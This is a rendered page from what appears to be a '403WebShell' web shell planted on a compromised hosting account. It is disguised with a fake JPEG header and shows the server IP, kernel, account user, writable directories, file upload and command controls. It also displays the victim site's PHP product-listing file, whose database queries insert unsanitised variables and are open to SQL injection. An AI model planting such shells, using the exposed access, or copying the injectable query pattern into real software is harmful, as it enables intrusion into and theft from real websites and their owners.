���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.218  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html/index-test-new.php
<?php
include('includes/config.php');
function getCategories($con) {
    $query = "SELECT * FROM category WHERE parent_id = 0"; // Parent Categories
    $result = mysqli_query($con, $query);

    if (!$result) {
        die("Category Query Failed: " . mysqli_error($con));
    }

    return $result;
}

function getSubcategories($parent_id, $con) {
    $query = "SELECT * FROM category WHERE parent_id = '$parent_id'"; // Subcategories
    $result = mysqli_query($con, $query);

    if (!$result) {
        die("Subcategory Query Failed: " . mysqli_error($con));
    }

    return $result;
}

function getProducts($subcategory_id, $con) {
    $query = "SELECT * FROM products WHERE category = '$subcategory_id'"; // Products Under Subcategory
    $result = mysqli_query($con, $query);

    if (!$result) {
        die("Product Query Failed: " . mysqli_error($con));
    }

    return $result;
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Categories & Products</title>
    <style>
        .category, .subcategory, .product { padding: 10px; margin: 10px; border: 1px solid #ddd; cursor: pointer; display: inline-block; }
        img { width: 100px; height: 100px; }
    </style>
</head>
<body>

<h2>Categories</h2>
<div>
    <?php
    $categories = getCategories($con);
    while ($cat = mysqli_fetch_assoc($categories)) {
        echo "<div class='category' onclick='showSubcategories(" . $cat['id'] . ")'>" . $cat['categoryName'] . "</div>";
    }
    ?>
</div>

<div id="subcategorySection" style="display: none;">
    <h2>Subcategories</h2>
    <div id="subcategories"></div>
</div>

<div id="productSection" style="display: none;">
    <h2>Products</h2>
    <div id="products"></div>
</div>

<script>
function showSubcategories(categoryId) {
    fetch(`fetch_subcategories.php?category_id=${categoryId}`)
    .then(response => response.text())
    .then(data => {
        document.getElementById('subcategorySection').style.display = 'block';
        document.getElementById('subcategories').innerHTML = data;
    });
}

function showProducts(subcategoryId) {
    fetch(`fetch_products.php?subcategory_id=${subcategoryId}`)
    .then(response => response.text())
    .then(data => {
        document.getElementById('productSection').style.display = 'block';
        document.getElementById('products').innerHTML = data;
    });
}
</script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit